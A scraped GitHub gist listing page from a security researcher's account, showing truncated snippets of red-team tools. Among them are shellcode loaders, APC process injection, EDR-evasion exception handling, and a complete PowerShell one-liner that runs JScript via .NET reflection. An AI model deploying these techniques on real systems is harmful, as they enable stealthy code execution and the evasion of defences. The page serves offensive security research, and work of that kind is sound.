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Mariusz Banach mgeeky

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@mgeeky
mgeeky / AddVectoredExceptionHandler.cpp
Created October 22, 2024 22:16
Rebuilt RtlAddVectoredExceptionHandler so that it doesn't use the ntdll imported function. This way it would be more difficult than just putting a breakpoint on RtlAddVectoredExceptionHandler to log your function. To make it a little better you could inline EncodePointer which would only a few extra lines. Structs might be documented somewhere h…
#include <Windows.h>
#include <winternl.h>
// Types
using LdrProtectMrdata_t = void(__stdcall*)(int);
using LdrProtectMrdataHeap_t = void(__thiscall*)(int);
struct ExceptionRecord_t {
LIST_ENTRY entry;
int* unknown_intptr;
@mgeeky
mgeeky / ldrloaddll_hook.c
Created October 20, 2024 10:39 — forked from bats3c/ldrloaddll_hook.c
Hook LdrLoadDll to whitelist DLLs being loaded into a process
#include <stdio.h>
#include <windows.h>
#include <winternl.h>
#define dwAllowDllCount 1
CHAR cAllowDlls[dwAllowDllCount][MAX_PATH] = {
"W:\\allowed.dll"
};
VOID HookLoadDll(LPVOID lpAddr);
@mgeeky
mgeeky / jscript.ps1
Created October 12, 2024 19:35 — forked from gabemarshall/jscript.ps1
Executing JScript from Powershell via .NET reflection
[Reflection.Assembly]::LoadWithPartialName('Microsoft.JScript');
$js = 'var js = new ActiveXObject("WScript.Shell");js.Run("calc");'
[Microsoft.JScript.Eval]::JScriptEvaluate($js,[Microsoft.JScript.Vsa.VsaEngine]::CreateEngine());
@mgeeky
mgeeky / shellcode.js
Created October 11, 2024 08:44 — forked from Ridter/shellcode.js
Execute ShellCode Via Jscript.NET
import System;
import System.Runtime.InteropServices;
import System.Reflection;
import System.Reflection.Emit;
import System.Runtime;
import System.Text;
//C:\Windows\Microsoft.NET\Framework\v2.0.50727\jsc.exe Shellcode.js
//C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Shellcode.js
@mgeeky
mgeeky / Program.cs
Created August 24, 2024 12:34 — forked from susMdT/Program.cs
haha funny jit go brrrr
using System;
using System.Runtime.CompilerServices;
using System.Reflection;
using System.Reflection.Emit;
namespace FunkyJit
{
class Program
{
public static void Nothing() { Console.WriteLine(); }
static void Main(string[] args)
@mgeeky
mgeeky / vdm_lua_extract.py
Created March 25, 2024 18:54 — forked from HackingLZ/vdm_lua_extract.py
VDM Lua Extractor
### Original script and research by commial
### https://github.com/commial/experiments/tree/master/windows-defender
### Set LUADec_Path to binary
### https://github.com/viruscamp/luadec
import struct
import argparse
import sys
import os
import io
import subprocess
@mgeeky
mgeeky / DInjectQueuerAPC.cs
Created June 27, 2023 22:40 — forked from jfmaes/DInjectQueuerAPC.cs
.NET Process injection in a new process with QueueUserAPC using D/invoke - compatible with gadgettojscript
using System;
using System.Diagnostics;
using System.IO;
using System.Runtime.InteropServices;
namespace DinjectorWithQUserAPC
{
public class Program
@mgeeky
mgeeky / Dynamic_PInvoke_Shellcode.cs
Created June 22, 2023 19:19 — forked from bohops/Dynamic_PInvoke_Shellcode.cs
Dynamic_PInvoke_Shellcode.cs
//original runner by @Arno0x: https://github.com/Arno0x/CSharpScripts/blob/master/shellcodeLauncher.cs
using System;
using System.Runtime.InteropServices;
using System.Reflection;
using System.Reflection.Emit;
namespace ShellcodeLoader
{
class Program
@mgeeky
mgeeky / Application_Guard_WDAC_Policy.xml
Created June 22, 2023 19:18 — forked from bohops/Application_Guard_WDAC_Policy.xml
Microsoft Defender Application Guard WDAC policy (for Edge). Converted using @mattifestation's ConvertTo-CIPolicy PowerShell Script [https://gist.github.com/mattifestation/92e545bf1ee5b68eeb71d254cec2f78e]
<?xml version="1.0"?>
<SiPolicy xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="urn:schemas-microsoft-com:sipolicy">
<VersionEx>10.0.3.14</VersionEx>
<PlatformID>{2E07F7E4-194C-4D20-B7C9-6F44A6C5A234}</PlatformID>
<PolicyID>{A244370E-44C9-4C06-B551-F6016E563076}</PolicyID>
<BasePolicyID>{A244370E-44C9-4C06-B551-F6016E563076}</BasePolicyID>
<Rules>
<Rule>
<Option>Enabled:UMCI</Option>
</Rule>
@mgeeky
mgeeky / README-setup-tunnel-as-systemd-service.md
Created June 20, 2023 10:53 — forked from drmalex07/README-setup-tunnel-as-systemd-service.md
Setup a secure (SSH) tunnel as a systemd service. #systemd #ssh #ssh-tunnel #ssh-forward

README

Create a template service file at /etc/systemd/system/[email protected]. The template parameter will correspond to the name of target host:

[Unit]
Description=Setup a secure tunnel to %I
After=network.target